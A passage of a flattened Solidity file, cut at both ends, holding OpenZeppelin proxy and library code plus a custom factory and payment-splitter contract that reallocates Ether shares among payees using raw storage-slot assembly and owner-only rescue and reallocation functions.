current admin. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103` */ function _dispatchAdmin() private returns (bytes memory) { _requireZeroValue(); address admin = _getAdmin(); return abi.encode(admin); } /** * @dev Returns the current implementation. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc` */ function _dispatchImplementation() private returns (bytes memory) { _requireZeroValue(); address implementation = _implementation(); return abi.encode(implementation); } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _dispatchChangeAdmin() private returns (bytes memory) { _requireZeroValue(); address newAdmin = abi.decode(msg.data[4:], (address)); _changeAdmin(newAdmin); return ""; } /** * @dev Upgrade the implementation of the proxy. */ function _dispatchUpgradeTo() private returns (bytes memory) { _requireZeroValue(); address newImplementation = abi.decode(msg.data[4:], (address)); _upgradeToAndCall(newImplementation, bytes(""), false); return ""; } /** * @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified * by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the * proxied contract. */ function _dispatchUpgradeToAndCall() private returns (bytes memory) { (address newImplementation, bytes memory data) = abi.decode(msg.data[4:], (address, bytes)); _upgradeToAndCall(newImplementation, data, true); return ""; } /** * @dev Returns the current admin. * * CAUTION: This function is deprecated. Use {ERC1967Upgrade-_getAdmin} instead. */ function _admin() internal view virtual returns (address) { return _getAdmin(); } /** * @dev To keep this contract fully transparent, all `ifAdmin` functions must be payable. This helper is here to * emulate some proxy functions being non-payable while still allowing value to pass through. */ function _requireZeroValue() private { require(msg.value == 0); } } /** * @title ReallocatablePaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts accourding to openzeppelin's PaymentSplitter. * * In addition, this contract allowes to transfer shares between investors. */ contract ReallocatablePaymentSplitterUpgradeable is PaymentSplitterUpgradeable, OwnableUpgradeable { address private _factory; bool public wasRescued = false; // _factory and wasRescued should be in same storage slot uint256[49] private __gap; event sharesTransferred(address from, address to, uint256 shares); modifier notAfterRescue() { // require (wasRescued == false, "ReallocatablePaymentSplitterUpgradeable: rescue was called already - normal operation not possible anymore"); // _; if(wasRescued == false) { _; } else // do nothing in this case { } } /** * @dev Throws if called by any account other than the owner. */ modifier onlyFactory() { _checkFactory(); _; } function __ReallocatablePaymentSplitter_init(address[] memory payees, uint256[] memory shares, address factory) internal onlyInitializing { __PaymentSplitter_init_unchained(payees, shares); __Ownable_init_unchained(); __ReallocatablePaymentSplitter_init_unchained(factory); } function __ReallocatablePaymentSplitter_init_unchained(address factory) internal onlyInitializing { _factory = factory; } // Possibly needs refactor to conform to Upgradeable pattern function initialize(address[] memory payees, uint256[] memory shares, address factory) external initializer { __ReallocatablePaymentSplitter_init(payees, shares, factory); } /** * @dev Returns the address of the current Factory. */ function getFactory() public view virtual returns (address) { return _factory; } /** * @dev releases funds first, then transfers all shares `from` one account to another one (`to`) * @return true if new payee was created, false if shares went to existing payee */ function reallocate(address payable from, address payable to, uint8 fromHint, uint8 toHint) external /*onlyOwner*/ notAfterRescue onlyFactory returns (bool) { // require(shares(from) > 0, "ReallocatablePaymentSplitterUpgradeable: from is not owner of any shares"); return _reallocate(from, to, fromHint, toHint); } /** * @dev releases funds first, then transfers all shares from msg.sender to another one (`to`) * @return true if new payee was created, false if shares went to existing payee */ // Ganz weg von Splitter? OK weg 1412 // function reallocateSelf(address payable to, uint8 fromHint, uint8 toHint) external returns (bool) { // require(shares(_msgSender()) > 0, "ReallocatablePaymentSplitterUpgradeable: caller is not owner of any shares"); // return _reallocate(payable(msg.sender), to, fromHint, toHint); // } /** * @return true if new payee was created */ function _reallocate(address payable from, address payable to, uint8 fromHint, uint8 toHint) internal returns (bool) { require(from != to, "ReallocatablePaymentSplitterUpgradeable: reallocate to same account"); // zero address is same as deleted element of payees array => HAVE to check require(from != address(0), "ReallocatablePaymentSplitterUpgradeable: from is zero address"); require(to != address(0), "ReallocatablePaymentSplitterUpgradeable: to is zero address"); bool result = false; { // Against "stack too deep" error uint256 fromIndex = payeesIndex(fromHint, from); uint256 toIndex = payeesIndex(toHint, to); require(fromIndex != type(uint256).max, "ReallocatablePaymentSplitterUpgradeable: from not found in payees array"); if(toIndex != type(uint256).max) { // to is existing shares owner rawStore(fromIndex, 0); result = false; } else { // to is new, take place of from in payees array rawStore(fromIndex, uint256(uint160(address(to)))); result = true; } } // Destroys info in _payees array in that accounts with zero balance remain! // Not anymore, but have zero elements in place of deleted ones, and length is not accurate anymore // Ziel anybody / neuer ist OK! // Aber Quelle == alter vl erst hier checken uint256 sharesFrom; uint256 sharesTo; uint256 sharesFromSlot; uint256 sharesToSlot; //cleanup: release funds first if(releasable(from) > 0) { release(from); } if(releasable(to) > 0) { release(to); } //load mappings assembly { let _sharesSlot := 53 mstore(32, _sharesSlot) //shareFrom = _share[from] mstore(0, from) sharesFromSlot := keccak256(0, 64) sharesFrom := sload(sharesFromSlot) //shareTo = _share[to] mstore(0, to) sharesToSlot := keccak256(0, 64) sharesTo := sload(sharesToSlot) } emit sharesTransferred(from, to, sharesFrom); sharesTo += sharesFrom; sharesFrom = 0; //write back to storage assembly { sstore(sharesFromSlot, sharesFrom) //_share[from] = shareFrom sstore(sharesToSlot, sharesTo) //_share[to] = shareTo } // adapt released values uint256 releasedFrom; uint256 releasedTo; uint256 releasedFromSlot; uint256 releasedToSlot; //load mappings assembly { let _releasedSlot := 54 mstore(32, _releasedSlot) //releasedFrom = _released[from] mstore(0, from) releasedFromSlot := keccak256(0, 64) releasedFrom := sload(releasedFromSlot) //releasedTo = _released[to] mstore(0, to) releasedToSlot := keccak256(0, 64) releasedTo := sload(releasedToSlot) } // uint256 totalPool = (totalReleased() + address(this).balance); // uint256 sharesBoth = sharesFrom + sharesTo; releasedTo += releasedFrom; releasedFrom = 0; //write back to storage assembly { sstore(releasedFromSlot, releasedFrom) // share[from] = shareFrom sstore(releasedToSlot, releasedTo) // share[to] = shareTo } return result; } /** * @dev Triggers a transfer to `msg.sender` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function releaseMyETH() external notAfterRescue { release(payable(msg.sender)); } function release(address payable account) public virtual override notAfterRescue { return PaymentSplitterUpgradeable.release(account); } /** * @dev rescue function if something goes wrong: transfers contract balance to owner */ function rescue() external onlyOwner { if(wasRescued == false) { wasRescued = true; } AddressUpgradeable.sendValue(payable(owner()), address(this).balance); } /** * @dev Throws if the sender is not the Factory. */ function _checkFactory() internal view virtual { require(getFactory() == _msgSender(), "ReallocatablePaymentSplitterUpgradeable: caller is not the factory"); } function payeesLength() private view returns (uint256) { uint256 length; assembly{ let _payeesSlot := 55 length := sload(_payeesSlot) } return length; } function getPayees() public view virtual returns (address[] memory) { uint256 length = payeesLength(); address[] memory result = new address[](length); for(uint256 i = 0; i < length; i++) { result[i] = payee(i); } return result; } // confirm hint (is not reliable) or find on our own // needs invariant that each payee only occurs once in _payees array function payeesIndex(uint256 hint, address supposed) private view returns (uint256) { uint256 length = payeesLength(); // Hint works if(hint < length && payee(hint) == supposed) return hint; for(uint256 i = 0; i < length; i++) { // War payee(hint) => falsch if(payee(i) == supposed) return i; } return type(uint256).max; } function rawLoad(uint256 index) private view returns (uint256) { uint256 _payeesSlot = 55; bytes32 location = keccak256(abi.encode(_payeesSlot)); uint256 data; assembly { data:= sload(add(location, index)) } return data; } function rawStore(uint256 index, uint256 data) private { uint256 _payeesSlot = 55; bytes32 location = keccak256(abi.encode(_payeesSlot)); assembly { sstore(add(location, index), data) } } } // OpenZeppelin Contracts (last updated v4.9.0) (proxy/Clones.sol) /** * @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for * deploying minimal proxy contracts, also known as "clones". * * > To simply and cheaply clone contract functionality in an immutable way, this standard specifies * > a minimal bytecode implementation that delegates all calls to a known, fixed address. * * The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2` * (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the * deterministic method. * * _Available since v3.4._ */ library Clones { /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`. * * This function uses the create opcode, which should never revert. */ function clone(address implementation) internal returns (address instance) { /// @solidity memory-safe-assembly assembly { // Cleans the upper 96 bits of the `implementation` word, then packs the first 3 bytes // of the `implementation` address with the bytecode before the address. mstore(0x00, or(shr(0xe8, shl(0x60, implementation)), 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000)) // Packs the remaining 17 bytes of `implementation` with the bytecode after the address. mstore(0x20, or(shl(0x78, implementation), 0x5af43d82803e903d91602b57fd5bf3)) instance := create(0, 0x09, 0x37) } require(instance != address(0), "ERC1167: create failed"); } /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`. * * This function uses the create2 opcode and a `salt` to deterministically deploy * the clone. Using the same `implementation` and `salt` multiple time will revert, since * the clones cannot be deployed twice at the same address. */ function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) { /// @solidity memory-safe-assembly assembly { // Cleans the upper 96 bits of the `implementation` word, then packs the first 3 bytes // of the `implementation` address with the bytecode before the address. mstore(0x00, or(shr(0xe8, shl(0x60, implementation)), 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000)) // Packs the remaining 17 bytes of `implementation` with the bytecode after the address. mstore(0x20, or(shl(0x78, implementation), 0x5af43d82803e903d91602b57fd5bf3)) instance := create2(0, 0x09, 0x37, salt) } require(instance != address(0), "ERC1167: create2 failed"); } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress( address implementation, bytes32 salt, address deployer ) internal pure returns (address predicted) { /// @solidity memory-safe-assembly assembly { let ptr := mload(0x40) mstore(add(ptr, 0x38), deployer) mstore(add(ptr, 0x24), 0x5af43d82803e903d91602b57fd5bf3ff) mstore(add(ptr, 0x14), implementation) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73) mstore(add(ptr, 0x58), salt) mstore(add(ptr, 0x78), keccak256(add(ptr, 0x0c), 0x37)) predicted := keccak256(add(ptr, 0x43), 0x55) } } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress( address implementation, bytes32 salt ) internal view returns (address predicted) { return predictDeterministicAddress(implementation, salt, address(this)); } } // OpenZeppelin Contracts (last updated v4.9.0) (utils/structs/EnumerableSet.sol) // This file was procedurally generated from scripts/generate/templates/EnumerableSet.js. /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ```solidity * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. * * [WARNING] * ==== * Trying to delete such a structure from storage will likely result in data corruption, rendering the structure * unusable. * See https://github.com/ethereum/solidity/pull/11843[ethereum/solidity#11843] for more info. * * In order to clean an EnumerableSet, you can either remove all elements one by one or create a fresh instance using an * array of EnumerableSet. * ==== */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastValue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastValue; // Update the index for the moved value set._indexes[lastValue] = valueIndex; // Replace lastValue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { bytes32[] memory store = _values(set._inner); bytes32[] memory result; /// @solidity memory-safe-assembly assembly { result := store } return result; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; /// @solidity memory-safe-assembly assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values in the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; /// @solidity memory-safe-assembly assembly { result := store } return result; } } // Following line is a dummy import, otherwise TUP would not be compiled /** * @title ReallocatablePaymentSplitterFactory * @dev creates and manages ReallocatablePaymentSplitter * * This contract is able to release funds in a bulk for shareholders who have stakes in multiple ReallocatablePaymentSplitters at once */ // contract ReallocatablePaymentSplitterFactoryUpgradeable is OwnableUpgradeable { contract ReallocatablePaymentSplitterFactoryUpgradeable is OwnableUpgradeable { // struct Validator { // // test for ordering // uint64 version; // First version is 1 not 0! // address validator; // } // using EnumerableSetUpgradeable for EnumerableSetUpgradeable.Bytes32Set; using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; // Validator val = Validator(0, payable(0)); // bytes32 test = bytes32(abi.encodePacked(bytes(val))); // uint64 public constant RPS_VERSION_START = 1; // uint64 public constant RPS_VERSION_CURRENT = 2; // uint256 public constant oneEther = 1 ether; event newReallocatablePaymentSplitter(address reallocatablePaymentSplitter); address public rpsImpl; uint64 public currentVersion; // version is tied to implementation, ODER gleich von Impl bekommen? // mapping(address => Validator[]) public validators; // Brauche jetzt getter!!!!!!!!!!!!! // Never ever delete value of mapping, only delete members of Bytes32Set // mapping(address => EnumerableSetUpgradeable.Bytes32Set) internal validators; mapping(address => EnumerableSetUpgradeable.AddressSet) internal validators; mapping(address => uint64) internal versions; // rpsImpl and currentVersion should be in same storage slot uint256[47] private __gap; function __ReallocatablePaymentSplitterFactory_init(address _rpsImpl, uint64 _version, address[] memory _payees, address payable[][] memory _validators) internal onlyInitializing { __Ownable_init_unchained(); __ReallocatablePaymentSplitterFactory_init_unchained(_rpsImpl, _version, _payees, _validators); } function __ReallocatablePaymentSplitterFactory_init_unchained(address _rpsImpl, uint64 _version, address[] memory _payees, address payable[][] memory _validators) internal onlyInitializing { rpsImpl = _rpsImpl; currentVersion = _version; // require lengths equal // addPayee loop // test which index to take!!! require(_payees.length == _validators.length, "ReallocatablePaymentSplitterFactoryUpgradeable: length of payees array not equal to first dimension of validators array"); for(uint256 i = 0; i < _payees.length; i++) { addPayee(_payees[i], _validators[i]); } } // Possibly needs refactor to conform to Upgradeable pattern function initialize(address _rpsImpl, uint64 _version, address[] memory _payees, address payable[][] memory _validators) external initializer { __ReallocatablePaymentSplitterFactory_init(_rpsImpl, _version, _payees, _validators); } // constructor(address _rpsImpl, uint64 _version, address[] memory _payees, address payable[][] memory _validators) Ownable() { // rpsImpl = _rpsImpl; // // require lengths equal // // addPayee loop // // test which index to take!!! // for(uint256 i = 0; i < _payees.length; i++) { // addPayee(_payees[i], _validators[i], _version); // } // } // add current version; list of versions for existing ones is supplied in 2-dim Validator array // constructor(address _rpsImpl/*, uint256[][] memory test*/) OwnableUpgradeable() { // rpsImpl = _rpsImpl; // } /** * @dev creates a new ReallocatablePaymentSplitter with given args and transfers the ownership to the owner of this contract */ function create(address[] memory _payees, uint256[] memory _shares) external onlyOwner returns(address) { address payable rpsAddr = payable(Clones.clone(rpsImpl)); ReallocatablePaymentSplitterUpgradeable rpsInst = ReallocatablePaymentSplitterUpgradeable(rpsAddr); rpsInst.initialize(_payees, _shares, address(this)); rpsInst.transferOwnership(owner()); emit newReallocatablePaymentSplitter(rpsAddr); // for(uint256 i = 0; i < _payees.length; i++) { // validators[_payees[i]].add(toBytes32(currentVersion, rpsAddr)); // } addValidator(_payees, rpsAddr); versions[rpsAddr] = currentVersion; return rpsAddr; } /** * @dev bulk release of funds for `msg.sender` */ function releaseMyETH() external { release(payable(msg.sender)); } /** * @dev add one or more payee(s) to a (possibly new) validator */ // function add(address[] memory _payees, address payable _validator, uint64 _version) external onlyOwner { // for(uint256 i = 0; i < _payees.length; i++) { // validators[_payees[i]].add(toBytes32(_version == 0 ? currentVersion : _version, _validator)); // } // } // noch true / require dass noch nicht oder eh da, allein schon wegen version /** * @dev add multiple payees to one validator */ function addValidator(address[] memory _payees, address payable _validator) public onlyOwner { for(uint256 i = 0; i < _payees.length; i++) { // require(validators[_payees[i]].add(toBytes32(_version == 0 ? currentVersion : _version, _validator)), require(validators[_payees[i]].add(_validator), "ReallocatablePaymentSplitterFactoryUpgradeable: combination of validator and version already exists for one payee"); } } /** * @dev add one payee to multiple validators */ function addPayee(address _payee, address payable[] memory _validators) public onlyOwner { for(uint256 i = 0; i < _validators.length; i++) { // require(validators[_payee].add(toBytes32(_version == 0 ? currentVersion : _version, _validators[i])), require(validators[_payee].add(_validators[i]), "ReallocatablePaymentSplitterFactoryUpgradeable: one combination of validator and version already exists for payee"); } } /** * @dev remove one payee from one validator */ function removePayeeFromValidator(address _payee, address payable _validator) public onlyOwner { // require(validators[_payee].remove(toBytes32(_version == 0 ? currentVersion : _version, _validator)), require(validators[_payee].remove(_validator), "ReallocatablePaymentSplitterFactoryUpgradeable: combination of validator and version does not exist for payee"); } /** * @dev change impl address and version used by factory for future splitters */ function changeImplAddr(address _rpsImpl, uint64 _version) external onlyOwner { rpsImpl = _rpsImpl; currentVersion = _version; } /** * @dev indicate version change of validator */ function changeVersion(address _validator, uint64 _version) external onlyOwner { versions[_validator] = _version; } /** * @dev releases funds first, then transfers all shares `from` one account to another one (`to`) * only for version >= 2 */ function reallocate(address payable from, uint16 indexValidator, address payable to, uint8 fromHint, uint8 toHint) external onlyOwner { // address payable rpsAddr = payable(validatorFromBytes32(validators[from].at(indexValidator)).validator); address payable rpsAddr = payable(validators[from].at(indexValidator)); ReallocatablePaymentSplitterUpgradeable rpsInst = ReallocatablePaymentSplitterUpgradeable(rpsAddr); // require(rpsInst.shares(from) > 0, "ReallocatablePaymentSplitterUpgradeable: to is not owner of any shares"); address payable[] memory array = new address payable[](1); array[0] = rpsAddr; // Or maybe version without require so that false bookkeeping does not hinder reallocation removePayeeFromValidator(from, rpsAddr); if(rpsInst.reallocate(from, to, fromHint, toHint)) { // new payee for this validator addPayee(to, array); // add again } else { // addPayee(to, array); // remove again // nothing as "to" already has this validator } // Update: delete validator from payee array, possibly delete whole shareholder array from mapping < DONT! // possibly add new shareholder array to mapping, add validator to array } // only for version >= 2 function reallocateMyAcc(uint16 indexValidator, address payable to) external { // address payable rpsAddr = payable(validatorFromBytes32(validators[msg.sender].at(indexValidator)).validator); require(validators[msg.sender].length() > indexValidator); address payable rpsAddr = payable(validators[msg.sender].at(indexValidator)); ReallocatablePaymentSplitterUpgradeable rpsInst = ReallocatablePaymentSplitterUpgradeable(rpsAddr); // require(shares(_msgSender()) > 0, "ReallocatablePaymentSplitterUpgradeable: caller is not owner of any shares"); // Check splitter reallocate before: bool check = rpsInst.reallocate(payable(msg.sender), to, 0, 0); // Or maybe version without require so that false bookkeeping does not hinder reallocation address payable[] memory array = new address payable[](1); array[0] = rpsAddr; // removePayeeFromValidator(msg.sender, rpsAddr); validators[msg.sender].remove(rpsAddr); if(check) { // new payee for this validator // addPayee(to, array); validators[to].add(rpsAddr); } else { // nothing "to" already has this validator } // Update: delete from / possibly add new } /** * @dev bulk release of funds for `_account` */ function release(address payable _account) public { // EnumerableSetUpgradeable.Bytes32Set storage accountValidators = validators[_account]; EnumerableSetUpgradeable.AddressSet storage accountValidators = validators[_account]; for(uint256 i = 0; i < accountValidators.length(); i++) { // if(ReallocatablePaymentSplitterUpgradeable(payable(validatorFromBytes32(accountValidators.at(i)).validator)).releasable(_account) > 0) { if(ReallocatablePaymentSplitterUpgradeable(payable(accountValidators.at(i))).wasRescued() == false && ReallocatablePaymentSplitterUpgradeable(payable(accountValidators.at(i))).releasable(_account) > 0) { // ReallocatablePaymentSplitterUpgradeable(payable(validatorFromBytes32(accountValidators.at(i)).validator)).release(_account); ReallocatablePaymentSplitterUpgradeable(payable(accountValidators.at(i))).release(_account); } } } /** * @dev computes the total releasable amount for all RPS of given account * @return the releasable amount in wei */ function releasable(address payable _account) public view returns(uint256) { uint256 sum = 0; // EnumerableSetUpgradeable.Bytes32Set storage accountValidators = validators[_account]; EnumerableSetUpgradeable.AddressSet storage accountValidators = validators[_account]; for(uint256 i = 0; i < accountValidators.length(); i++){ if(ReallocatablePaymentSplitterUpgradeable(payable(accountValidators.at(i))).wasRescued() == false) { // sum += ReallocatablePaymentSplitterUpgradeable(payable(validatorFromBytes32(accountValidators.at(i)).validator)).releasable(_account); sum += ReallocatablePaymentSplitterUpgradeable(payable(accountValidators.at(i))).releasable(_account); } } return sum; } /** * @dev computes the total releasable amount for all RPS of given account * @return the releasable amount in ether as a comma separated string */ // test function releasableString(address payable _account) public view returns(string memory) { return weiToEther(releasable(_account)); // bytes18 frac = bytes32(bytes(StringsUpgradeable.toString(releasable(_account) + 1 ether))); // return string(abi.encodePacked(frac)); } /** * @dev computes the total releasable amount for all RPS of msg.sender * @return the releasable amount in wei */ function releasableMyAcc() public view returns(uint256) { return releasable(payable(msg.sender)); } /** * @dev computes the total releasable amount for all RPS of msg.sender * @return the releasable amount in wei */ // test function releasableMyAccString() public view returns(string memory) { // return StringsUpgradeable.toString(releasable(payable(msg.sender))/oneEther); return weiToEther(releasable(payable(msg.sender))); } // /** // * @dev computes the total releasable amount for all RPS of msg.sender // * @return the releasable amount in wei // */ // function releasableMyAcc() public view returns(uint256) { // return releasable(payable(msg.sender)); // } function sharesReportMyAcc() public view returns (string memory) { return sharesReport(msg.sender); } function sharesReport(address _account) public view returns (string memory) { // uint256 length = validators[account].length; // EnumerableSetUpgradeable.Bytes32Set storage accountValidators = validators[_account]; EnumerableSetUpgradeable.AddressSet storage accountValidators = validators[_account]; // bytes[] memory report = new bytes[](2/* + accountValidators.length*/); // report[0] = abi.encodePacked("Report for ", _account, "\n"); // report[1] = abi.encodePacked("Index\t Address\t Shares\n"); string memory report = string(string.concat("Report for ", bytes(StringsUpgradeable.toHexString(_account)), "\nIndex\tAddress of Validator\t\t\t\tShares\n")); for(uint256 i = 0; i < accountValidators.length(); i++) { // report[i] = (abi.encodePacked(i, accountValidators[i].validator, weiToEther(ReallocatablePaymentSplitterUpgradeable(accountValidators[i].validator).shares(_account)), "\n")); // report = string(string.concat(bytes(report), bytes(StringsUpgradeable.toString(uint16(i))), "\t", bytes(StringsUpgradeable.toHexString(validatorFromBytes32(accountValidators.at(i)).validator)), "\t", bytes(weiToEther(ReallocatablePaymentSplitterUpgradeable(payable(validatorFromBytes32(accountValidators.at(i)).validator)).shares(_account))), "\n")); report = string(string.concat(bytes(report), bytes(StringsUpgradeable.toString(uint16(i))), "\t", bytes(StringsUpgradeable.toHexString(accountValidators.at(i))), "\t", bytes(weiToEther(ReallocatablePaymentSplitterUpgradeable(payable(accountValidators.at(i))).shares(_account))), "\n")); } // sonst mit iterativ string concat!!! Gas eh egal! // return (abi.encode(report)); return report; // return (abi.encodePacked(report[0], report[1])); } function getValidatorsMyAcc() public view virtual returns (address[] memory) { return getValidators(msg.sender); } function getValidators(address _payee) public view virtual returns (address[] memory) { return validators[_payee].values(); } function payeesReport(address payable _validator) public view returns (string memory) { // uint256 length = validators[account].length; ReallocatablePaymentSplitterUpgradeable rpsInst = ReallocatablePaymentSplitterUpgradeable(_validator); address[] memory payees = rpsInst.getPayees(); // bytes[] memory report = new bytes[](2/* + accountValidators.length*/); // report[0] = abi.encodePacked("Report for ", _account, "\n"); // report[1] = abi.encodePacked("Index\t Address\t Shares\n"); string memory report = string(string.concat("Report for ", bytes(StringsUpgradeable.toHexString(_validator)), "\nIndex\tAddress of Payee\t\t\t\tShares\n")); for(uint256 i = 0; i < payees.length; i++) { address payee = payees[i]; // To filter out cases of zero address caused by reallocation from old payee to old payee // Not critical, would show zero address with zero shares otherwise if(payee == address(0)) continue; // report[i] = (abi.encodePacked(i, accountValidators[i].validator, weiToEther(ReallocatablePaymentSplitterUpgradeable(accountValidators[i].validator).shares(_account)), "\n")); // report = string(string.concat(bytes(report), 